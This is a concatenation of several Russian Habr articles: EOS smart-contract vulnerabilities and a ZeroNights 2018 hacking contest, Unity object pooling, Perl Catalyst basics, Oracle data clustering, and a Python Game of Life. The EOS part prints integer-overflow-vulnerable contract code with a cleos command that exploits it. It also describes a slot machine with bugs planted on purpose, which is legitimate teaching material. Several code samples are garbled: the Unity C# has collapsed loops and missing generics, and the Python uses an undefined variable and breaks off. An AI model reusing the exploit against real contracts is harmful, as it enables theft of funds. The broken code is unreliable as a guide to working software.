Если в двух словах постараться объяснить, то тут – всё просто. Подгружаем библиотеку eosio.hpp, затем создаем класс (он же контракт) hello и унаследуем класс contract. Создаем void метод hi и в параметры заносим переменную user c типом account\_name, он же uint64\_t. В методе выводим “Hello, ” и имя, которое мы укажем при вызове метода. Последняя строчка, где находится EOSIO\_ABI –это вспомогательный макрос, который принимает наш класс и общедоступные методы из этого класса, а также участвует в формировании файла .abi, где указываются все общедоступные методы контракта.
Изучаем уязвимости
------------------
*Итак, в рамках той [статьи](https://github.com/slowmist/eos-smart-contract-security-best-practices/blob/master/README_EN.md), описывалось несколько уязвимостей – давайте их сейчас рассмотрим подробнее.*
### Numerical Overflow – [численное переполнение](https://ru.wikipedia.org/wiki/%D0%A6%D0%B5%D0%BB%D0%BE%D1%87%D0%B8%D1%81%D0%BB%D0%B5%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D0%B5%D1%80%D0%B5%D0%BF%D0%BE%D0%BB%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5)
При вызове контракта нода проверяет тип параметра, и если данные, которые мы пытаемся ей скормить, не подходят, то нода начнет ругаться и такое бесчинство не пропустит. НО! Если внутри контракта есть какой-нибудь алгоритм изменения числа, сумма чисел или, допустим, умножение, то число может измениться уже внутри контракта. А это значит, что можно указать такое число, которое нода пропустит, а вот контракт умножит, и число выйдет за рамки допустимого типа данных, что и приведет к переполнению.
Что это может дать? К примеру, есть проверка на какой-то числовой параметр, допустим, int Number < 0, и известно, что int у – знаковое число, и если произойдет переполнение числа, то знак числа при больших значениях изменится на отрицательный. Тем самым, проверка будет пройдена переполнением. И тут, конечно, всё зависит от критичности данной проверки.
К примеру, в той же статье про уязвимости есть [реальный кейс](https://bihu.com/article/995093), где злоумышленники смогли повлиять на параметр balance, тем самым обманув систему. В комментариях к коду более подробно описан механизм взаимодействия с контрактом:
```
// Структура аккаунтов для вывода баланса
typedef struct acnts {
account_name name0;
account_name name1;
account_name name2;
account_name name3;
} account_names;
// Структура пакетной отправки денег (каждому отправить по 1 EOS)
// Скорее всего, этот метод могли вызвать публично,
// тем самым повлияв на параметр «баланс»
void batchtransfer(
symbol_name symbol,
account_name from,
account_names to,
uint64_t balance
){
// Проверка права исполнителя
require_auth(from);
// Инициализация переменной аккаунта
account fromaccount;
// Проверка существования отправителя и получателей
require_recipient(from);
require_recipient(to.name0);
require_recipient(to.name1);
require_recipient(to.name2);
require_recipient(to.name3);
// Проверка, лежит ли баланс в пределах допустимого диапазона.
// Код функции is_balance_within_range не виден (
eosio_assert(is_balance_within_range(balance), "invalid balance");
// Проверка, больше ли нуля значение переменной «баланс»
// К примеру, «баланс» 1111111111111111 больше 0, и проверка будет пройдена
eosio_assert(balance > 0, "must transfer positive balance");
// Инициализация переменной amount и умножение на 4
// Вот тут и происходит переполнение, и amount становится отрицательным
int64_t amount = balance * 4;
// Поиск в таблице аккаунта from, откуда следует вычитать
int itr = db_find_i64(_self, symbol, N(table), from);
// Проверка, найден ли аккаунт
eosio_assert(itr >= 0, "wrong name");
// Добавляение в переменную fromaccount найденного аккаунта
db_get_i64(itr, &fromaccount, (account));
// Проверка, больше ли отправленного баланс из таблицы
// Например, в игре баланс 0.1 EOS
// и он будет больше, чем отрицательное значение amount
eosio_assert(fromaccount.balance >= amount, "overdrawn balance");
// Функция вычитает
sub_balance(symbol, from, amount);
// Функция отправляет деньги 4 аккаунтам
add_balance(symbol, to.name0, balance);
add_balance(symbol, to.name1, balance);
add_balance(symbol, to.name2, balance);
add_balance(symbol, to.name3, balance);
}
```
Взлом скорее всего был осуществлен следующим образом. Злоумышленник предварительно создал 4 аккаунта и вызвал метод *batchtransfer* напрямую, приблизительно так:
```
cleos push action contractname batchtransfer \'{"symbol ":"EOS", "from":”attacker”, "to":{ “name0”:”acc0”, “name1”:”acc1”, “name2”:”acc2”, “name3”:”acc3”}, "balance":"111111111111111111 EOS"}' -p attacker@active
```
Оговорюсь сразу, это лишь предположение; как точно произвели взлом – мы не знаем, и если будут другие мысли по этому поводу или более точная информация, то пишите в комментариях.
### Autherization check, проверка на авторизацию
Отсутствие проверки метода контракта require\_auth() на авторизации пользователя приведет к тому, что любой человек, не обладающий нужными правами, сможет воспользоваться привилегированными методами контракта, например, вывод денег с контракта.
### Отсутствие проверки прав вызова метода
При отправке на контракт денег (EOS) можно указать в специальном макросе, что будет происходить дальше и что делать. Скажем, при получении денег будет вызываться некий алгоритм, например, запускаться рулетка или еще что-нибудь, а также проверка:
```
if( code == self || code == N(eosio.token) || action == N(onerror) ) { \
TYPE thiscontract( self ); \
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \
}
}
// Отсутствует проверка на action == N(transfer)
```
В этой проверке нет ограничения вызова метода transfer, из-за чего можно метод трансфер вызвать напрямую, без пересылки денег на контракт. А это означает запуск механизма с дальнейшим выигрышем, не тратя ни копейки.
Конкурс на ZeroNights 2018
--------------------------
Идея конкурса родилась сама по себе: раз всё связано с играми и тремя уязвимостями, следовательно, будем делать игру на механизме смарт-контракта в блокчейне EOS.io. Игра должна быть максимально простой, но интересной.
Игровой автомат «Однорукий бандит»! Всегда удивляли люди, жаждущие легкой наживы — помните, халявы в мире не бывает, или почти не бывает. Тут, кстати, она вполне есть, вернее, появится, когда в ход пойдут уязвимости.
### Фронтенд
Фронтенд игры решили сделать модным, красивым и трехмерным. Спасибо [vtornik23](https://habr.com/users/vtornik23/), за то, что не отказался поучаствовать и помог нам сделать полностью фронтенд на Unity3d движке.
Трехмерный игровой аппарат «однорукий бандит»; отправив на него 1 ЕОС и дернув за шикарный рычаг, игрок получает возможность запустить колесо фортуны и сорвать куш!
### Уязвимости контракта
По задумке игры, выигрышем считалось выпадение трёх матрёшек ZeroNights, что в числовом коэффициенте будет либо 777, либо 0.Шансы на выигрыш приравнивались к 0.02%, и некий невнимательный программист попытался усложнить алгоритм рандома, добавив в него всего лишь умножение (multiplication overflow) на количество присланных денег, и поленился обдумывать условия детальнее, поэтому просто написал if (result == 777 || result < 1 ), что дает возможность подсунуть отрицательное значение.
```
int rnd = random(999);
int result = rnd * price.amount;
uint64_t prize = 0;
print("Result:", result);
// BINGO 777 or 000 !!! ~ 0.02%
if(result == 777 || result < 1 ) {
prize = 100;
sendtokens(from);
}
```
Сам смарт-контракт выложен на [гитхаб](https://github.com/5aava/SecureSlot), так что все желающие могут его повнимательнее рассмотреть со всех сторон и определить остальные уязвимости. О них уже написано чуть выше, так что сложностей в их поиске быть не должно.
### Правила участия
Правила участия очень просты: необходимо было попытаться выиграть или взломать механизмы системы. При выпадении 3 матрешек – Джек-пот!!! Система начисляет 100 единиц крипто-валюты. Если участник получает джек-пот 3 раза подряд, он становится победителем и получает призы от организаторов — фирменные худи, значки, разнообразный мерч.
Конечно, можно было выиграть, долго дергая рычаг и надеясь на удачу, но фортуна — штука непредсказуемая, да и процент выигрыша очень мал, так что проще было взломать.
### Результаты конкурса
В итоге конкурс, на наш взгляд, прошел идеально. Были запланированы награды для 3 человек, и как раз троим удалось справиться с конкурсом до назначенной даты окончания. Конкурс проводился 2 дня, в течение которых участники должны были решить таск. Официальное награждение и вручение подарков было на закрытии конференции на главной сцене ZeroNights 2018.
Основной упор делался на познавание технологии блокчейн ЕОС, и нами была оставлена пара подсказок, одну из которых так никому не удалось найти. Эту загадку мы оставим на потом…
### Отзывы участников
[Алексей](https://twitter.com/bitaps_com) (1 место)
> ZeroNights одна из моих любимых конференций, начиная с самой первой, в Петербурге я не пропустил ни одну. Всегда дает заряд энтузиазма на полгода точно, а там весной PHDays :). Последние 3 года я занимаюсь блокчейн разработкой. В этом году блокчейн добрался и до ZeroNights (в прошлом правда вроде тоже, было на хаквесте, но я его пропустил). Первым делом, после регистрации на конференции я пошел посмотреть, что и как там с блокчейном. Думал будет, что-то на подобие как на PHDays, какой-нибудь кривой рандом или race condition на эфире. Но тут оказался EOS, с которым у меня было небольшое знакомство на первом хакатоне EOS, но оно было не продолжительным, и к тому же все настройки для разработки были утеряны. Боевой настрой упал, и я пошел ждать начала конференции. Но любопытство взяло верх, все-таки что же там с EOS-ом не так!
[Stanislav Povolotsky](https://twitter.com/StanPov) (2 место)
> Для меня это был долгий, но интересный конкурс. И он стал замечательной возможностью познакомиться поближе с архитектурой блокчейна EOS. Конкурс начался с удивления, что в сеть EOS (mainnet) просто так не попасть — только за $$$. После подсказки, что контракт развёрнут в тестовой сети, регистрации в этой сети, настройки scatter и просмотра истории транзакций для игрового контракта — стало сразу понятно, как нужно обманывать слот-машину (автор контракта при тестировании делал это несколько раз). Но уверенность в том, что так быстро и просто удастся справиться с конкурсом быстро улетучилась, как только сеть не одобрила все мои транзакции с параметрами, идентичными выигрышной транзакции.
[Ирина](https://vk.com/irina4711) (3 место)
> До участия в конкурсе представляла работу смарт-контрактов только в теории, поэтому было очень интересно «встретиться с ними вживую», увидеть исходный код, опробовать инструменты (и в очередной раз убедиться, что python лучше всего)). Задание получилось действительно очень захватывающим. Спасибо!
### И в заключение
Не скажем, что все справились легко. Для кого-то это были сложные 2 дня, и только под конец счастливчикам удалось победить, используя недостатки любого блокчейна — если информация попала в блокчейн, то доступна каждому, и если кто-то уже что-то взломал, то и другой может посмотреть его путь.
Благодарим всех участников и тех, кто помогал в организации конкурса.
До встречи на ZeroNights 2019, вас будут ждать новые приключения! | https://habr.com/ru/post/433552/ | null | ru | null |
# Unity — Концептуальные идеи и подсказки для новичков игродева. Мощная оптимизация 2D проекта
[Ссылка на первую статью из этой серии.](http://habrahabr.ru/post/268069/)
**Быстрое вступление**
Я долго думал какую тему выбрать на этот раз, и решил, что расскажу про некоторые фишки, которые помогут оптимизировать вашу игру. Особенно это будет актуально для новичков, потому что чаще всего первая игра оказывается игрой для смартфонов и планшетов. А на мобилках, сколько бы там ядер не оказывалось — 6 или 8, игры все ещё очень несбалансированные в плане потребления ресурсов. Код и его идея, которые будут приводится в этой статье являются немного более сложными для понимания чем те две строчки кода, которые я приводил в своей предыдущей публикации. Хотя, я не правильно выразился — код легко понять — но порог вхождения в это понимание будет чуть выше чем легко (для новичков конечно), придется посидеть минут 5.
**Введение в идею**
Как вы создаете объекты в Unity из префабов? Только Instantiate и никак иначе — другой функции там просто не существует.
Для тех кто не помнит или еще не знает, что такое Instantiate (), маленькая справка — \*аргументы инстанции\*. Вот вы их создаете (объекты), и создаете, иногда удаляете, потом опять создаете, и так в течении всего уровня. Это бьёт по оптимизации и существенно — почему? Потому что так написано на всех форумах Unity, а иногда проглядывается и в документации, а документацию надо слушаться. Как Instantiate бьет по про производительности?
Вот например такой код: `Instantiate(bullet, transform.position, tranform.rotation);`
Что происходит? *Берется префаб, который вы положите в переменную bullet, в недрах вашего устройства ищется свободная память, память выделяется под размер оригинального префаба, туда записывается голая копия вашего префаба с его компонентами, потом все параметры компонентов оригинального префаба копируются в ваш новый клон, и он возвращается на сцену по заданной позиции и под заданным углом.*
Наверное, это долго, да. Представьте, что вы делаете раннер(где все объекты повторяются через каждые пять внутри-игровых метров) или просто шутер — катастрофа, если хотя-бы каждую секунду будет происходить инструкция, которую я описал выше. Что же делать? Использовать pooling объектов.
P.S.: Есть видео на оф. сайте Unity про то, что такое object pooling и как это осуществить. Можете посмотреть и его, если вы с английским языком на ты. Но я приведу ту же идею, но с более прозрачной реализацией этого пулинга (однако, она будет более емкой в плане строчек кода).
**Поехали!**
Как и предыдущий раз я буду демонстрировать все на своем нынешнем проекте. Признаться честно я изначально не делал object pooling а вместо этого просто создавал объекты во время игрового процесса. И да в какой-то момент, когда на экране появлялось большое количество космических корабликов и все они начинали стрелять, начали появляться скачки фпс, а это очень раздражает. Пришлось переделывать.
Повторюсь что данная реализация будет более громоздкой чем от Unity (они используют экземпляры одного класса, что-бы для отдельного объекта (например, космического корабля) создавать пулл необходимых ему объектов ( например, пули). Я же пошел по другому пути и создал отдельный, так сказать скрипт-менеджер пуллинга объектов.
То-есть у меня в редакторе Unity это выглядит вот так (просто чтобы вы полностью поняли идею):
Я люблю держать все аккуратно по полочкам, поэтому у меня даже два отдельных менеджера (для пуль, и для различных эффектов).
Сначала объясняю план действий, потом смотрим на коде:
1) В своем скрипте который будет работать с объектами пулинга, создаете List (объектов конечно);
2) При старте игры сразу создаете в цикле нужное кол-во объектов для пулинга. Причем в цикле на каждой итерации после создания одного экземпляра объекта отключаете его и добавляете в ваш созданный до этого List;
3) Переходите в скрипт объекта, который будет активировать ваши объекты в листе (например в скрипт, который управляет корабликом). Создаете связь с объектом который является вашим менеджером пулов( Или сделайте класс с пулами статичным, чтобы обращаться напрямую). И в нужный момент(например стрельба) вы в своей корутине(обычно корутины используются для осуществления стрельбы) вызываете функцию которая будет активировать ваш объект для пула с нужными параметрами. Все.
Теперь то же самое, но на практике. Представлен код менеджера пулов(только для одного объекта RedMissile).
```
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
public class BulletsContainer : MonoBehaviour {
List missileRed=new List();
// В переменную RedMissile в редакторе закидываете ваш префаб
public GameObject RedMissile;
// Переменная missileCount будет контролировать сколько максимально на экране может быть объектов
public int misisleCount;
void Awake()
{
// То же самое, что я описал во втором пункте теоретического разбора выше
for(int i=0;i ().StartCoroutine ("AblePause");
break;
// скобочки я поставил в ряд, просто чтобы не разводить много пустого места
}}}}}
```
Теперь по поводу дополнительных строчек.
1) "**missileRed [i].transform.eulerAngles =Caller.transform.eulerAngles;**"
— Как вы видите я принимаю в аргументе функции объект Caller, думаю все могут догадаться, что это объект из которого была вызвана эта функция. Скорее всего вам придется часто так делать, чтобы активировать объект из пула в позиции вызывающего объекта, как это сделано в этой следующей строке "**missileRed [i].transform.position = Caller.transform.position;**".
2) " **missileRed [i].GetComponent ().StartCoroutine («AblePause»);**"
— так вам тоже придется часто делать. Дело в том, что каждый раз когда вы активируете объект из пула вы должны его деактивировать через какое-то время ( вы можете поставить много условий деактивации, например когда пуля сталкивается с кораблем игрока, она осуществляет, что-то типо:" **this.gameobject.SetActive(false);** "). Поэтому у меня на каждом объекте пула навешен скрипт который деактивирует его через определенное время. И еще раз : ***Не забывайте деактивировать объекты пула, иначе, в какой-то момент все ваши объекты окажутся активными и цикл их активации просто не будет выполняться!***
Тогда код в кораблике (или любом вашем объекте, который вызывает функцию активации пула) будет таким:
```
//....Какой-нибудь код .....
// устанавливаете связь с объектом, который отвечает за пулинг, как вам больше нравится
// у меня например так:
EnemiesContainer = GameObject.FindGameObjectWithTag ("ShipsGenerator");
BulletsSystem = EnemiesContainer.GetComponent ();
//....Какой-нибудь код .....
IEnumerator StartAttack()
{
float randomTime = Random.Range (cooldownMin, cooldownMax );
yield return new WaitForSeconds (randomTime);
// тут мы вызываем нашу функцию активации объекта в пуле, аргументом передаем себя
BulletsSystem.LaunchEnemyRedMissile(this.gameObject);
}
//....Какой-нибудь код .....
```
**Заключение**
Вот пример результата — большое количество объектов на сцене, практически 80% всей сцены (всё кроме кораблей) создается через пулинг объектов, вы получите слегка более длительную загрузку уровня, но при этом во время геймплея никаких стопоров не будет.
**P.S.:** Данную технику не обязательно использовать если у вас неторопливая игра, в которой не много повторяющихся объектов, однако эту технику нужно абсолютно точно использовать если вы собрались делать раннер или бодрый шутер. В общем все, как всегда — всё хорошо в меру.
**P.P.S.:** Спасибо за внимание! Есть вопросы? Пишите в комменты — отвечу обязательно. | https://habr.com/ru/post/268663/ | null | ru | null |
# Основные принципы работы с MVC Framework Catalyst
**Предисловие**
На Хабре очень мало, точнее совсем нет статей о таком замечательном MVC фреймворке, как Catalyst. И поэтому свою первую статью я решил посвятить именно ему.
Здесь я описал основные принципы для работы с Catalyst на примере простенького веб-приложения, так называемый быстрый старт для освоения данного фрейморвка
**Введение**
Catalyst — это мощный MVC фреймворк для разработки веб-приложений на Perl.
Пару слов об MVC (Model/View/Controller):
* Модель (Model) — содержит только данные и методы для работы с ними.
* Вид(View) — отвечает за то, как именно эти данные будут выглядеть.
* Контроллер(Controller) — управляет связью между системой и пользователем, а также контролирует необходимые взаимодействия при работе приложения.
Catalyst — содержит обширное количество модулей CPAN, которые облегчают разработку веб-приложения на языке Perl.
В чем состоит простота при использовании данного фреймворка?
Процесс создания создания нового проекта выполняется с помощью команды: `catalyst.pl Test::App` (в файловой системе в директории с названием проекта "::" будет заменен на "-".
Этот скрипт является частью вспомогательной системы, которая имеет название Catalyst::Helper, которая генерирует необходимые скрипты, папки, тесты, файлы и т.д для будущего приложения.
Структура созданного проекта:
* /lib — сердце проекта, содержит весь perl код, предназначенный для работы веб-приложения, состоит из поддиректорий, созданных автоматически:
1. Test/App/Model — для модулей реализующих модель;
2. Test/App/View — … вид;
3. Test/App/Controller — … контроллер;
4. Test/App/App.pm — модуль, для настройки веб-приложения.
* /root — здесь хранятся шаблоны для View, необходимые css, js, изображения, вообщем все статические данные;
* /script — содержит скрипты, которые были автоматически созданы Helper'ом. Они необходимы для запуска:
1. тестового сервера;
2. тестирования определенного URL;
3. создания компонентов MVC;
4. запуска скриптов как CGI/FastCGI;
5. и т.д.
* /t — содержит тесты
* Changes — история изменений вашего проекта.
* Makefile.PL — служебная инфорамация для установки необходимых модулей при развертывании приложения.
* test\_app.conf — файл конфигурации, указываются служебные переменные (имеет наибольший приоритет, при запуске, чем настройки внутри приложения).
* README — информация о запуске приложения, его установки, настройки и т.д.
Добавление необходимых моделей/видов/контроллеров производится с помощью соответствующей команды: `script/test_app_create.pl {model|view|controller} {имя компонента}`
Содержимое файла TestApp.pm
```
package Test::App;
use Moose;
use namespace::autoclean;
use Catalyst::Runtime 5.80;
use Catalyst qw/
-Debug # включает режим отладки
ConfigLoader # возможность настройки приложения
Static::Simple # обслуживание статических файлов из /root
/;
extends 'Catalyst';
our $VERSION = '0.01';
__PACKAGE__->config(
name => 'Test::App',
disable_component_resolution_regex_fallback => 1,
enable_catalyst_header => 1, # Send X-Catalyst header
);
# стартует приложение
__PACKAGE__->setup();
1;
```
Как мы видим Catalyst использует для объектного отображения используемых элементов CPAN модуль Moose, что значительно упрощает работу с объектами в языке Perl.
Файл Root.pm который находится в папке /lib/Test/App/Controller/ выглядит так:
```
# содержит методы необходимые для взаимодействия с приложением, обработки запросов и генерации ответов.
package Test::App::Controller::Root;
use Moose;
use namespace::autoclean;
BEGIN { extends 'Catalyst::Controller' }
__PACKAGE__->config(namespace => '');
# начальная страница, об этом говорит цифра Args(0), цифра внутри, указывает количество параметров в url (прим. test.com/1a/2b/3c при Args(1) получим "1b" и т.д)
sub index :Path :Args(0) {
my ( $self, $c ) = @ _;
# Hello World
$c->response->body( $c->welcome_message );
}
# для всех остальных запросов, для которых не найдены соответствующие указания, генерирует ошибку 404
sub default :Path {
my ( $self, $c ) = @ _;
$c->response->body( 'Page not found' );
$c->response->status(404);
}
# метод, выполняющийся в конце обработки запроса
sub end : ActionClass('RenderView') {}
1;
```
Теперь после знакомства с этим фреймворком, попробуем создать простое веб-приложение.
1. Создадим вид с помощью команды `script/test_app_create.pl view Web TT` (ТТ — Template Toolkit, шаблонизатор, можно также использовать другие шаблонизаторы, Mason например)
2. Создадим файл index.tt в папке root/
Вставляем туда этот код:
```
[% IF result %][% result %]
[% END %]
```
3. В файле Root.pm удаляем такую строчку: `$c->response->body( $c->welcome_message ); # вывод стандартного окна приветствия`
4. там же добавляем метод hello:
```
sub hello :Local {
my ($self, $c) = @ _;
my $hi = $c->req->body_params->{hi};
$c->stash(
result => $c->model('Hello')->hello($hi),
template => 'index.tt',
);
}
```
5. Создаем модель `script/test_app_create.pl Model Hello`
6. В созданной модели пишем метод:
```
sub hello {
my ($self, $hi) = @ _;
return "Hello $hi!\n";
}
```
7. Запускаем тестовый сервер `script/test_app_server`
8. В браузере вводим `localhost:3000/` (порт по умолчанию)
Любуемся результатом.
P.S. Вот в принципе основные идеи при работе с Catalyst, и хотелось бы побольше статей на хабре от, знающих этот фреймворк, людей. Документация конечно хорошо, а вот реальный опыт всегда интересней.
P.P.S. Пока писал эту статью и тут не обошлось без магии перла. В коде используется массив "@\_", который транслируется в тэгах при указания языка перл в хабраюзера с именем "\_", ничего красивого не придумал, как поставить пробелы между @ и \_. Будьте внимательны… | https://habr.com/ru/post/146074/ | null | ru | null |
# Кластеризация данных СУБД Oracle вне кластерной таблицы
***Oracle кластер умер, да здравствует кластеризация!**Здесь и далее имеется в виду cluster хранения данных, а не Oracle Real Application Custer*
Проблематика
------------
Большим информационным системам свойственно постоянное поступление различной информации, которая накапливается, обсчитывается и архивируется. Мы рассмотрим вариант структурированных данных, хранящихся на сервере RDBMS Oracle и в качестве примера возьмём таблицу, содержащую CDR записи (т.е. записи о вызовах) для абонентов оператора связи.
Данные о звонках поступают хаотично, т.е. не упорядоченно, как вы понимаете, по атрибутам абонентов. Все данные имеют свой жизненный цикл — оперативные, актуальные и архивные. Со временем частота обращений и требования по скорости доступа к данным меняются (т.е. падают). Т.о. записи годичной давности вполне можно хранить на медленных дисках, активные — на дисках с высокой скоростью доступа и без претензий на производительность операций записи, а вот вновь поступающим данным свойственно требование к максимально высокой скорости записи и чтения.
### Рассмотрим вариант хранения данных в кластерной таблице
Данные консолидируются по общему признаку. Можно разместить одну или несколько таблиц в кластере, построенном на базе идентификатора абонента, и при обращении к данным по одному идентификатору все данные по этому абоненту будут храниться в одном и том же месте с точностью до размера чанка кластера. Т.е. если все данные влазят в 2 чанка, которые размещены в 2-х блоках базы данных, то для получения 100 строк данных по указанному пользователю достаточно будет вычитать всего 2 блока базы данных. Если бы данные были размазаны по таблице, то мы могли бы для получения тех же 100 строк произвести чтение 100 блоков базы данных. Выигрыш на уровне доступа к данным очевиден.
Кластерному хранению можно приписать следующие характеристики:
* Данные консолидируются по общему признаку.
* Минимизируется Disk IO при доступе по кластерному ключу.
* Минимизируется Disk IO при join по кластерному ключу при совместном хранении таблиц.
* Характеризуется высоким Disk IO при наполнении.
* Не очень дружен с Parallel DML — высокий уровень сериализации.
### Рассмотрим вариант хранения данных в обычной таблице
* Данные, как правило, хранятся в порядке поступления.
* Характерна высокая скорость наполнения.
* Дружественно к Parallel DML.
* С ростом объема данных может начаться деградация скорости вставки из-за индексов.
* При высокоселективной выборке (по индексу) наблюдается высокий DiskIO.
### Требования к организации данных
В общем случае заказчик ожидает от правильной организации данных следующих характеристик:
* Высокая скорость DML и вставки в частности.
* Высокая скорость выборки.
* Хорошая масштабируемость.
* Лёгкость в администрировании.
### Секционирование данных
Один из способов повышения эффективности хранения данных это использование секционирования (Oracle Partitioning Option).
* Разбивка в длину (сокращение времени деградации производительности вставки).
* Разбивка в ширину (повышение масштабируемости).
* Возможность управлять каждым сегментом в отдельности.
* Высокая эффективность Parallel операций над сегментированными объектами.
Например, при разбивке на сегменты в ширину достигается снижение ожиданий на индексных сегментах по сравнению с обычной таблицей с ростом количества конкурентных DML операций над данным объектом.
Предположим, что две таблицы EQ сегментированы по некоторому идентификатору по hash(N). При EQ Partition Join операциях по этому идентификатору будет произведена операция HASH JOIN не на уровне таблиц, а на уровне секций с одинаковым значением hash. Это в разы сократит время, необходимое для проведения указанной операции на заданном объёме данных.
Хотелось бы ещё наделить секционированные таблицы эффективностью кластера по доступу к данным…
### Кластеризация данных
Лучший способ заставить таблицу отдавать данные с эффективностью кластера это организовать их так же, как в кластере.
Представьте, что данные у вас разбиты в длину по дате поступления (одна секция за период) и hash секционированы в ширину по идентификатору абонента. Все индексы — локальные. Данные поступают последовательно (по дате) и случайным образом по идентификатору абонента.
Основная секция позволяет использовать Partition Pruning для запросов за период и включает в выборку только те секции, которые содержат данные за указанный период, а дополнительное сегментирование по hash от идентификатора абонента позволяет выбрать только те секции, которые содержат данные по указанному абоненту. Но далее данные размазаны по секции и на получение, например, 100 записей по абоненту за день мы произведём 100 операций дискового чтения.
Однако есть одно «НО»: день прошел и данные за вчера ещё могут поступить, но вот за позавчера уже маловероятно. Таким образом, можно поступить так:
* Создать таблицу с таким же набором полей, что и наша сегментированная таблица с тем же принципом hash-сегментирования, что и на нашей таблице, как:
```
create table TBL1 as select * from table %TBL% partition(P1) order by subscriber_id, record_date...
```
, где P1 — секция за «позавчера».
* Создать такие же индексы, как и на секции таблицы.
* Выполнить операцию
```
alter table %TBL% exchange partition P1 with table TBL1
```
и заменить секцию на таблицу, содержащую те же данные, но в упорядоченном (ака: кластеризованном по subscriber\_id) виде.
P.S.> Можно автоматизировать данный процесс, используя пакет dbms\_redefinition.
Вроде, всё выглядит просто, но каков, спросите вы, эффект?..
Далее рассмотрим четыре случая:
* Данные не реорганизованы.
* Произведен rebuild индексов.
* Произведена реорганизация.
* Произведена реорганизация с компрессией данных.
### Кластеризация при высоком Phisical IO
Так, если запустить одновременно около сотни процессов, осуществляющих доступ к данным по случайным идентификаторам абонента за указанный период, то средняя производительность одного процесса — в зависимости от организации данных — будет варьироваться следующим образом:
Т.е. мы добились прироста производительности на Disk IO на порядок для данных с характеристиками около 13-19 записей на клиента за период одной секции.
Ниже привожу данные по ожиданиям ввода/вывода и времени отклика:
### Кластеризация при высоком Logical IO
Представим теперь, что у нас производится доступ к данным, которые размещены в памяти сервера Oracle, а не читаются с диска. Каков будет (и будет ли) выигрыш при такой организации, когда используется только Logical IO.
Производительность процессов (req/sec):
время ожидания:
и время отклика:
Как мы видим, прирост меньше, чем при Phisical IO, но всё-равно увеличение происходит в разы.
### Управление объёмом данных
Даже операция обычного rebuild индекса даёт сокращение его объема. Что же произойдёт с объемом дискового пространства при реорганизации данных, а также использования компрессии?
Эффект сжатия (компрессии):
Заключение
----------
Учитывая специфику структуры данных конкретной информационной системы посредством реорганизации данных, можно достичь:
* Повышения производительности отдельных операций.
* Повышения производительности всей системы за счёт освободившегося ресурса.
* Снижения объёма потребляемых ресурсов, т.е. экономии средств на стоимости решения.
* ...
P.S.> Может показаться, что реорганизация большого объема данных сильно затратная операция. Это, конечно, да, но в итоге объем операций ввода/вывода можно сократить. На примере данных заказчика могу сказать, что обращение к реорганизуемой таким образом таблице только системой самообслуживания (а это менее половины нагрузки на таблицу) менее чем за час создавало объём ввода/вывода к данной таблице больше, чем размер всех её секций за сутки. Так что игра может стоить свеч, хоть и создаёт для ДБА дополнительную работу. | https://habr.com/ru/post/196420/ | null | ru | null |
# Практика программирования игр на python: жизнь
[](http://habrahabr.ru/company/mailru/blog/228379/)
Недавно стало известно, что python [признан](http://cacm.acm.org/blogs/blog-cacm/176450-python-is-now-the-most-popular-introductory-teaching-language-at-top-us-universities/fulltext) самым популярным языком для обучения студентов в США. Я, будучи студентом Технопарка, решил не отставать от тренда, поподробнее изучить этот модный язык и заодно написать несколько постов. Для разминки я решил реализовать [Conway's Game of Life](http://en.wikipedia.org/wiki/Conway's_Game_of_Life). Это довольно-таки забавная «игра», в которой мы можем в некотором смысле моделировать развитие группы организмов в окружающей среде. Правила такие: делим пространство на клетки, которые могут быть либо живыми, либо пустыми. А затем на каждом шаге состояние клетки обновляем в зависимости от числа живых соседей. Например, слишком много — клетка умирает, а если нет — рождается. Можно от души экспериментировать с конфигурациями, получаются разные странные вещи, иногда корабли. Корабли (gliders) — отдельная тема, это такие группы клеток, которые изменяются и вместе с тем путешествуют в пространстве. Кроме кораблей могут образовываться и другие группы клеток с хитрыми свойствами, но о них — в Википедии.
Итак, python у нас, будем полагать, установлен. Для отрисовки станем использовать стандартную библиотеку Tkinter. План действия такой: рисуем двумерный массив квадратиков, и при нажатии на кнопку вызываем функцию для обновления поля в соответствии с нашими правилами эволюции. Кроме того, сделаем возможным вмешательство в текущую картину, чтобы можно было нарисовать свою панораму, с кораблями и другими фигурами.
Теперь немного кода. Он будет идти не по порядку. Так, чтобы было наглядно.
```
from Tkinter import Tk, Canvas, Button, Frame, BOTH, NORMAL, HIDDEN
# создаем само окно
root = Tk()
# это ширина и высота окна
win_width = 350
win_height = 370
config_string = "{0}x{1}".format(win_width, win_height + 32)
# методом geometry() задаем размеры, тут можно написать и
# просто строчку вида '350x370', но мы сделаем гибко
root.geometry(config_string)
# это ширина самой клетки, правда с учетом просвета
cell_size = 20
# тут начинаются более интересные вещи, создается объект типа Canvas,
# на котором будет происходить непосредственно рисование,
# он делается дочерним по отношению к самому окну root
canvas = Canvas(root, height=win_height)
# пакуем его, аналог show() в других системах
canvas.pack(fill=BOTH)
# определяем размеры поля в клетках
field_height = win_height / a
field_width = win_width / a
# создаем массив для клеток, он одномерный, но ничего
cell_matrix = []
for i in xrange(field_height):
for j in xrange(field_width):
# здесь создаем экземпляры клеток и делаем их скрытыми
square = canvas.create_rectangle(2 + cell_size*j, 2 + cell_size*i, cell_size + cell_size*j - 2, cell_size + cell_size*i - 2, fill="green")
canvas.itemconfig(square, state=HIDDEN, tags=('hid','0'))
# пакуем в массив
cell_matrix.append(square)
# это фиктивный элемент, он как бы повсюду вне поля
fict_square = canvas.create_rectangle(0,0,0,0, state=HIDDEN, tags=('hid','0'))
cell_matrix.append(fict_square)
# создаем фрейм для хранения кнопок и аналогичным образом, как с Canvas,
# устанавливаем кнопки дочерними фрейму
frame = Frame(root)
btn1 = Button(frame, text='Eval', command = step)
btn2 = Button(frame, text='Clear', command = clear)
# пакуем кнопки
btn1.pack(side='left')
btn2.pack(side='right')
# пакуем фрейм
frame.pack(side='bottom')
# здесь привязываем события клика и движения мыши над canvas к функции draw_a
canvas.bind('', draw_a)
# стандартный цикл, организующий cобытия и общую работу оконного приложения
root.mainloop()
```
Теперь посмотрим на функциональную часть:
```
# здесь мы обновляем картину
def refresh():
for i in xrange(field_height):
for j in xrange(field_width):
k = 0
# считаем число соседей
for i_shift in xrange(-1, 2):
for j_shift in xrange(-1, 2):
if (canvas.gettags(cell_matrix[addr(i + i_shift, j + j_shift)])[0] == 'vis' and (i_shift != 0 or j_shift != 0)):
k += 1
current_tag = canvas.gettags(cell_matrix[addr(i, j)])[0]
